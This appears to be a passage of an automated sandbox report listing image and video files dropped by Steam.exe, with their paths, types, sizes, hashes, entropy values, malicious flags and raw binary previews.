MD5:	6C4D20E8B640101319CC567D802CE1E1
SHA1:	DFE0E398AD42902C4BDC8AD0A78950CC98F1AD5E
SHA-256:	4714CC8E61F858D6DAFCD2D8AF42DFDAAE32C255764F5E5C9C79110BE06B4014
SHA-512:	4093C9D7EACAFE7160D3F5D4E7718F530E93B5AC151873B411C8AAE7540ABA87385D7A2B3A8E90D08A660854E7C65848BDC72C3C9B38BBE0933244065A261588
Malicious:	true
Reputation:	unknown
Preview:	.PNG........IHDR...)...k.............pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\browser\favorite_added.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	111342
Entropy (8bit):	7.559185062267175
Encrypted:	false
SSDEEP:	1536:R3tS4Qhdabr3UeVRd+hHhjHsEsUz9Wa2K2/+w4PYLldX4DLt:5U4nFVj+hBj4UzR2T/+JedX4Xt
MD5:	99699BF9C5ADF9CBB145B4572E9C1974
SHA1:	513438A49253C02A4AD6F4D9A4FFB0E546DB084D
SHA-256:	DC24EC545305233E97A5A91F519C4BBED8D82F77E8E1E4F97C81F1C932DAC956
SHA-512:	8F8F24960BA66A4364D266BCDF34548A3E7D4772D53DA55E7692F9DDF1EA19EF58AC0351E65CB475926669D1198F89D5A4596129704BA02500C486EEBAD8C70F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......sRGB.........pHYs.................tIME.....(-8.k.....tEXtFile Name.favorite_added.tga......< iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/">. <xmp:CreatorTool>Adobe Photoshop CS5 Windows</xmp:CreatorTool>. <xmp:CreateDate>2012-06-14T16:39:59-07:00</xmp:CreateDate>. <xmp:ModifyDate>2012-09-07T16:40:44-07:00</xmp:ModifyDate>. <xmp:MetadataDate>2012-09-07T16:40:44-07:00</xmp:MetadataDate>. </rdf:Description>. <rdf:Description rdf:about="". xmlns:dc="http://purl.org/dc/elements/1.1/">. <dc:format>image/png</dc:format>. </rdf:Description>. <rdf:Description rdf:about="". xmlns:ph

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\browser\favorites_addtab.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 525 x 400, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16049
Entropy (8bit):	7.81322753143699
Encrypted:	false
SSDEEP:	384:+JXE056F+bQZIe5iqO1FlH8v9TGPr7zjXeK3GLLl:+356YbUcLlEl4yKWl
MD5:	DA749F8AE3BB1BBAA4A4392D92EAC99D
SHA1:	C34685B97E1DE1C8DED67FAB764C68EF6CEABEDA
SHA-256:	0D996078B3F2E743B83527A8BC0A503F1CD656BCF007BE566D6FC7403F3AD712
SHA-512:	CDDB9117ABF49156A64AEECA7D7119AE1446D8BE6E2CEF11811D697CBF753C30A95A24F8B146AA3CC0E412AABC58C7644C643E68950C43B6F637CC7D02FAD8FA
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............-.S.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\browser\favorites_closetab.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 120 x 120 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	57644
Entropy (8bit):	6.693763396401435
Encrypted:	false
SSDEEP:	1536:I93hQDDh1Y1S5xNgTI1dMqKpINDTYBC4mpk2jII0dIRW14fr/kakU6gT7NdRVll7:I93hQDDh1Y1S5xNgTI1dMqKuNDTYBC4i
MD5:	08167D608F493E7A4C3227B52ED0DBE3
SHA1:	E09A1EF45242D59EFB7557AF237E8842BC2AB71E
SHA-256:	8F05EAD7D75C34F03F9699E49848A0328195176C0C6A1D9DE2C953C2AE85EEFB
SHA-512:	F0C5286B936240DB8A4CD8F4A0E1944397BED24BDEB8B673BD9E69653E2997406E5DE14A4E55C7037586F12B22B7151FA89EB322938117476881C63A6E05BF76
Malicious:	false
Reputation:	unknown
Preview:	............x.x. .......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\browser\reticle.webm_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	WebM
Category:	dropped
Size (bytes):	28247
Entropy (8bit):	7.9642908690438965
Encrypted:	false
SSDEEP:	384:/55X6ml4lcqobnZfiqYBqO5HV5xJNGmAbe7Q4IwlBW3AIIDFcrQ8W43Ev8K0vC/3:9o8d6AKIwlwQnOQ8139C/HYNQI2BMoOQ
MD5:	9683FA4C16B8AD5740AB7A113C434FBF
SHA1:	FA9B4BBDF41B13DF53852C75922F88E6607238C8
SHA-256:	E115059E487D55284BCDD90F79A646C2201E577B17B2FB984219C3AA4F7E2D83
SHA-512:	41997A2B81EF20008BD307DD36C2068DFFC5D8AF7A3EA66D9A897D9A1B2682EBD9DAD19EAC08E4C86D5CBEDABACCBB3951C030778FCCA880223E33463E3219B2
Malicious:	false
Reputation:	unknown
Preview:	.E.........B...B...B..B..B..webmB...B....S.g......n .M.t@,M..S...I.fS...M..S...T.kS...,M..S...S.kS..n...............................................................................................................................................................................I.f.......A...B@M..Lavf53.19.0WA.Lavf53.19.0s...-.u....s..o..yGD..@........T.k.......;........2..s....."...und..V_VP8...#..bZ.................C.u......l....I.........................[I...?...^#.q.....?7...[.O..1?.r...P....m...=.k.w4.....[....'....i............L?......M.._........S.........OE<...fe...f........10{.p.)@F}(..R..."......E\w....~F..L.\|..?..t ..d..?.h.M..x.\|..UN?. ]8....\.`=....G?..t.e....7.~..V../hL.}.s..F.`M58:........M2....;8=...<.VQ.^.9e...Qok.D.........].1...:o.y..H..s..9.s.....T....h.=.w..^-]cl.M(..^.......{n....iL......Y....d.D.{;..5.......8.O..Id.Di..P....A_`....aA..W.\|...Ta.(..@.@3...~.F.}O.....z.....2...r}s.....Rw.!S...Fe.o...r....e.#...F.....y...........

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\browser\reticle_80_80.webm_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	WebM
Category:	dropped
Size (bytes):	16234
Entropy (8bit):	7.911988458016505
Encrypted:	false
SSDEEP:	384:/Z9G62/gjv6y27U5epmXx4M2qx2i6RvBwC9sTRZro9H:C4c7bm4I2i4vBZsTRZrot
MD5:	6FAB5371387A6C5A9B61B58DEC96553E
SHA1:	536E906FF673F06306657C753AB41F57D9BE1CD9
SHA-256:	85DEE6886A88636153D4AB6DC1B749C3C179EB9D3203EA10F1382DB7098CFB7A
SHA-512:	6C35BD4B72C40831B4AF70E0B8737A8C9C6C07184FFF3923236954A70B40D00BA6F8DA364B55F592466BA68E0B8E341EB6EB19277DFDD17CB494D858CA0C7B75
Malicious:	false
Reputation:	unknown
Preview:	.E.........B...B...B..B..B..webmB...B....S.g......?3.M.t@,M..S...I.fS...M..S...T.kS...,M..S...S.kS..?...............................................................................................................................................................................I.f.......A...B@M..Lavf53.19.0WA.Lavf53.19.0s..>8.."cX.s..q[...D..@........T.k.......;........2..s....."...und..V_VP8...#..bZ............P..P.C.u......=....E~.........P.P.............[L.k......e......!.n...o.o..O........z<....C.s.'.G.7.nH....._.....f.1..&C................o.?.?........?.#......l..%.W..#]v9.c..f..N...?...;.?.....AzX...n._qQ.L.Q...D.. ......6V.>..q@....sW.9..-n.....-.....R.,kvA.;n..D....s.Cj.&`_v\|....7.T3.....Xc..c.....6.L.Sr..Rv\[.t.9..<.........4....4c....y.........P...L...].....r.+...G.J..<6yv.+(.3..`T..w....E..#...a.$lb.=..b...&...{,c..&W.Kqvv..\|..'..ngts.&..(AF=..W...E.h_';..%.y'B...gK.#fp[Z..l<....H..M....../x...e.&.....X./r../....;<g.c.M....~&..Ud.{N.>.d.E

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\browser\reticle_mask.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 132 x 132, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	72620
Entropy (8bit):	2.2359296060905716
Encrypted:	false
SSDEEP:	768:FYRSwVJTvct+HuB5uQEcJz7Rrf0ksUl5cN3hlbwRn:FB5uQnt6e
MD5:	4CCD3C1086EF970F0F28E3774511D084
SHA1:	B2F4DB3D1600AFFCABA31DC5384CCD138B7D9CD2
SHA-256:	77747079DB9E96EE50805D89906486197E05CC223482D61A889151D65DF17ACD
SHA-512:	AC589FDE3E44B4FA3DFFA45EF1976F9B47C714008CA34CF71332BF3C00EC66B75D493CB27877D31F2DA49F7F94FAC10C0AF46E6863198FB394DC7A9BD2594849
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............QD......pHYs................MiCCPPhotoshop ICC profile..x.SwX...>..e.VB..l.."#....Y....a...@...V....HU...H...(.gA..Z.U\8....}z...........y.....&..j.9R.<:...OH.....H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly\|B"......I>................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0.._p..H.....K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0.>.3.o..~..@...z..q.@......qanv.R....B1n..#.....)..4.\,...X..P"M.y.R.D!.....2......w....O.N....l.~.....X.v.@~.-......g42y.......@+..........\...L....D..*.A..............a.D@.$.<.B.......A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ..Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$...N.!%.2I.IkH.H-.S.>..i.L&.m.......

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\browser\reticle_mask_80_80.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 80 x 80, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	25818
Entropy (8bit):	1.2360858611376582
Encrypted:	false
SSDEEP:	192:pS4496jSy9Bq0Froqdk+cjgEamO0Tfl72a9qYH:Q4496jSmq0hoqdk+cjDamOmflN9qYH
MD5:	D9E0916EB5D7428DE7B29363F76C4D32
SHA1:	20A433E29A72B1ECD22686D0CE1A464652BA32A2
SHA-256:	90C529DA751D334D5DB87C3C989250402B5C0FA5FA415384DEEE8A98225F587D
SHA-512:	D16843B6A270931852E635D715ACD84A5CBD07A4B94EE4A60BE994C9795DE47723B66FE287C01865955F25518D4C7E4016C62BF6D0BA0195C5EB775A049ECF26
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...P...P............pHYs................ cHRM..z%..............u0...`..:....o._.F..d`IDATx..Pd.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\carousel_bg.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1920 x 400, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1320520
Entropy (8bit):	7.996081379581011
Encrypted:	true
SSDEEP:	24576:+73uWTjrWEzborY2jMioBkTi1zLHFZdy75X/tGTzbeArlcv6RVEhMB8:+7HuUjtBkuhnut6rlBRVEWa
MD5:	78D44C159A7F042A1E19D3941D8DB9FB
SHA1:	8BCB716E54454B96124347DC60716257460654DC
SHA-256:	7E7B6FAD290B147B9580E15E656FE9CCB5704C53F0F9122B5F8C00AAC010F47C
SHA-512:	D9702FB847740C8334D6197068215E34558DCD74B0E313240502A4AD69681488F08679916DC0777F94D9F152B0A9EF3ABE96D7BFBC439BACD342857CF28D21D6
Malicious:	true
Reputation:	unknown
Preview:	.PNG........IHDR.............O.}g....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:64C59435328311E28FE5BC329B7273AC" xmpMM:DocumentID="xmp.did:64C59436328311E28FE5BC329B7273AC"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:64C59433328311E28FE5BC329B7273AC" stRef:documentID="xmp.did:64C59434328311E28FE5BC329B7273AC"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.&.T..".IDATx..Y.$I.."...GV7.H....4@...@.\|.6..n....t.....,...{.."..L..+w...cJ$..D".H$..D".H$..D".H$.....Qs...D".H$..D".H

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\clockface.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15705
Entropy (8bit):	7.956355805563615
Encrypted:	false
SSDEEP:	384:lyYu1YkTXxTGg3kga0ZdtwPc1geHaSGRRSirriZs:lyNJDxnum5Hb54riC
MD5:	CDB587FB811D1A729446A4E8AA4EB846
SHA1:	D8896A88CAD1060C51F02886E0C96F847DAE2E2A
SHA-256:	8F80250428E4F36A284691A8E05EA32272F32078FEA047983E9B4FA9A47FA7CF
SHA-512:	A470DB2E7B011A25280AFA64B1F930CAE9AEA75B87F0E3BF48AE45CF9CE3D6615BF26E8123D28B8552F055F45766B1C01F6B6C5A8F3497C653EA42CE79FD0C3A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a... .IDATx..ix....~U{.-.d[.e..-.6C ....&..;}.1..t...}.t..9..~.>...t..0...@.C.l....-Y.el.5Z[........][.m....S.k.Z.[U....Z.vm..Q.(}.>J.....................`f...M.......o...._.........(B..).B.@.2..%..(.B "2...r.....s...L&.\...,OLL.'?...9...;....c..b..F).H(.tuu)D.vww..a.......h3.........1...EEE..(zYY...........G?..;.....NR.E!"...C..........lh.Ye.Xl......W...k.._]YYY.....P....v.i)].'....Z[[.R...d2...;.........r.4.,.eUU.E.Qm..:..0.c\|\|.....}...C..w.q.E.QeppP........4M....W544.=..../X.`..s..h...1.....[....8.\n.../.?0p.....c..ioooO..#.VU5...r....x<...ic\|\|.....3\|.....V..H$.===......+.o...+Vl.?..jUU.....D..4..?....X...........7...........3EEE.h4.'.I........>.....".......c..........]t..^z.....(....\|../p>...#..577....o<...k\|\|...x8.N...gb....f...<\|.........H...S;::Bccc..7n..+..y.........g.x.\|@D.t.3...h.s..;v..c".hc..UU...3...t:..u....>0.p...+.TJmii.'...._............i#. ......#.>....2...].^z.g.kooo..!

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\cog_transparent.jpg_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop CS5 Windows, datetime=2013:06:18 17:10:40], baseline, precision 8, 1920x1080, components 3
Category:	dropped
Size (bytes):	86129
Entropy (8bit):	5.911511754554102
Encrypted:	false
SSDEEP:	768:CXVtYyT+Q80AeYXhUxNDIgHq35H7YjZWfAbKTxOP:Atn+Q8mYXmybebKN8
MD5:	30041360A47DC7B8553922FCD68E7FC1
SHA1:	5B0E960A5D23A41AD0D8769229809B5B6D9363A8
SHA-256:	F1B119C60F8C61703E6A5D5D79C3B281CBF1B88272169B3F8B29EBF52EF1B256
SHA-512:	FBC5DAA98CE66B0CF9F78E82AB296B37928B0B806FC73391D648B585F8DF12410CD9414A78EFBCB1FABE15FE99698AE1B66092E0BB771BCD8C00D43BFF7528A0
Malicious:	false
Reputation:	unknown
Preview:	......Exif..MM.*.............................b...........j.(...........1.........r.2...........i....................'.......'.Adobe Photoshop CS5 Windows.2013:06:18 17:10:40........................................8...........................................&.(.................................P.......H.......H..........Adobe_CM......Adobe.d.................................................................................................................................................Z...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?..T.I%)$.IJI$.R.I$...I%)$.IJI$.R.I$...I%)$.IO...T..1.U..^.i.a..J...vU......rJo....N..+....p.0....$\|\.d.f...1..~IM..I%)$.IJI$.R.I$...I%)......\xh.N....%e.R.<

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\collapse.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGB 9 x 9 x 24
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.587127548996792
Encrypted:	false
SSDEEP:	6:6wA7dW5Kmp8ARckUkYgomw3s3aN3eDt/KapK:6wAZW5KQ80+kPeuD11pK
MD5:	5E0A8679DBF40971AFE3E758D9F1AFD3
SHA1:	C75C0C5FEEC4C1DC9519E19524F3A6C13FCDDB56
SHA-256:	85C538F5A9992FF01064D1AF4D4B64C84205F3A64E2BC7C37FD3F17F40647474
SHA-512:	7D6061E85F4780384C55EA628BFD7DE33F5A2A3D897A6450BF7D8C7FD6F4C01B22CF8769420862A270EEB2252FE9C31E6B6F4C986E85B4000F6862ACE2D5B3C4
Malicious:	false
Reputation:	unknown
Preview:	..............................................................................................................................................................................................................................................................TRUEVISION-XFILE..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\comments.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 46 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3064
Entropy (8bit):	7.877550813946927
Encrypted:	false
SSDEEP:	48:locieftI9G9f6A+FIDOWu0lDl+gm7QyTtctIInQSy6IVpqlnBcODUmWKmW6j5i:lZ/I09Da01l+gmkyTt6Hk8nTy3Wa5i
MD5:	DE868D0E7DA7168B1F0DBBBE61CCBAB7
SHA1:	B08F2F8BD1EA72DB6D061B3D8DF2507C63B3C897
SHA-256:	017B5520DC30E01829ABF61C5A3BC98810C5ADA3BD4B385D34B4DC3E26E8A53D
SHA-512:	2B91FF38FA6B8BBA024C77B8B499EEF53041596A90D5C1548D9337A7254750C6AC80E693BC2656F41ECFC6D1409CB9753E9B33A03DBE091EDB1CF95664583D11
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............W.+7....pHYs..........+.....OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\community\bg_commodity_mask.tga_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	Targa image data - RGBA 1920 x 1080 x 32 - 8-bit alpha
Category:	dropped
Size (bytes):	8294444
Entropy (8bit):	0.8128738789685299
Encrypted:	false
SSDEEP:	768:2vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvc:h
MD5:	1DE70EA2799C9300EBBC8122F9DD83A9
SHA1:	6415A07A40CDA7E742A17A36E2061A4B9260163D
SHA-256:	7A5F33B7AD101CE35B0FFA5E7E66AC8871CB7A01E4C0FE2969E121BC5536E62A
SHA-512:	EFCC9295D98DA44B64E5D773A7F0216E5E56F70BA335D354153C2223805105A45E00252B73B7DEB830EDF5B440FD57A3750BA02E899D9A8C05C37B62DCD8B860
Malicious:	false
Reputation:	unknown
Preview:	..............8. ........................................................................................................................................................................................................................................................................................................................................................ ... ...!..."...#...$...%...&...&...'...(...)...*...+...,...-......./...0...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...\...]...^..._...`...a...b...c...d...e...g...h...i...j...k...l...m...n...p...q...r...s...t...u...v...w...y...z...{...\|...}...~..............................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\community\fade_right.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 125 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	992
Entropy (8bit):	6.047586012187218
Encrypted:	false
SSDEEP:
MD5:	A2ACB9DD8B95805C7FFBA675FAC7D006
SHA1:	E1E260B8441F3E01693E1981D99B0E07C0A2AA93
SHA-256:	F7388FD3376BCD5425474940CFF334AA92F56ED385CF8774C9412BED4E143084
SHA-512:	4EB8B374D7AB7E3447A442AC5A9B0FB97AF3B0D26601F81A42A89713A5E9FA008BFB38376F91AE398C3AB7E9AE6CEADAB11C2E88F28107CC69CA2B98D9EB4694
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...}..........`......tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:0ED2F5205CD611E59ECDFF5816F708BE" xmpMM:DocumentID="xmp.did:0ED2F5215CD611E59ECDFF5816F708BE"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0ED2F51E5CD611E59ECDFF5816F708BE" stRef:documentID="xmp.did:0ED2F51F5CD611E59ECDFF5816F708BE"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>V.9....TIDATx..Q..0.C......W.m.R....a.#Q$z.....zHO..H%M3_..1.....)...m2]7[...Cc..".....E4..F......IEND.B`.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\community\home_map.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1344 x 540, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	188711
Entropy (8bit):	7.968725531705821
Encrypted:	false
SSDEEP:
MD5:	C026083DA3E3A5B5146855E721E1F154
SHA1:	A774D8B7238445E3F32840C1FF55E965684CFB45
SHA-256:	B728BAC1F22B9466AB57837EE5EB49D9CA7FBE637C6E2D9B21A6F061587AFDE9
SHA-512:	25BF9CCDFEDF95685D7F3705D0F92BE4CC870D73D6040F88BD6B6CF0DE62882262E17A0243826D7B468CD289AA7C19BC5A86736EE39C6A06E1E557218A0CB091
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@.........7..9....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.87;.]....IDATx^...........f7..&.d-Yh1K#...c..eK2..".....G..F..3R6...{..3=.......Nw......z.....1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1..c.1

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\community\item_glow.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 245 x 185, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	7828
Entropy (8bit):	7.901627841711461
Encrypted:	false
SSDEEP:
MD5:	1E612379BFAB348ED7B08ECFA5B7EC85
SHA1:	761AE60E89A04865F13E57F96A4C5F6844777EC9
SHA-256:	D67B7AD8E29AC58D96B886A41696E9EA8B4F22C52CC632BB78C50960B308AAB1
SHA-512:	12179351DD7680B861FE2C09B08CD8282E5CD310EB9A95A78CB0339234B0C23D86A401198BB9FE52FEBF4D1D35AF48EABB53798F1E77102D66A7B8527F3E5DED
Malicious:	false
Reputation:	unknown
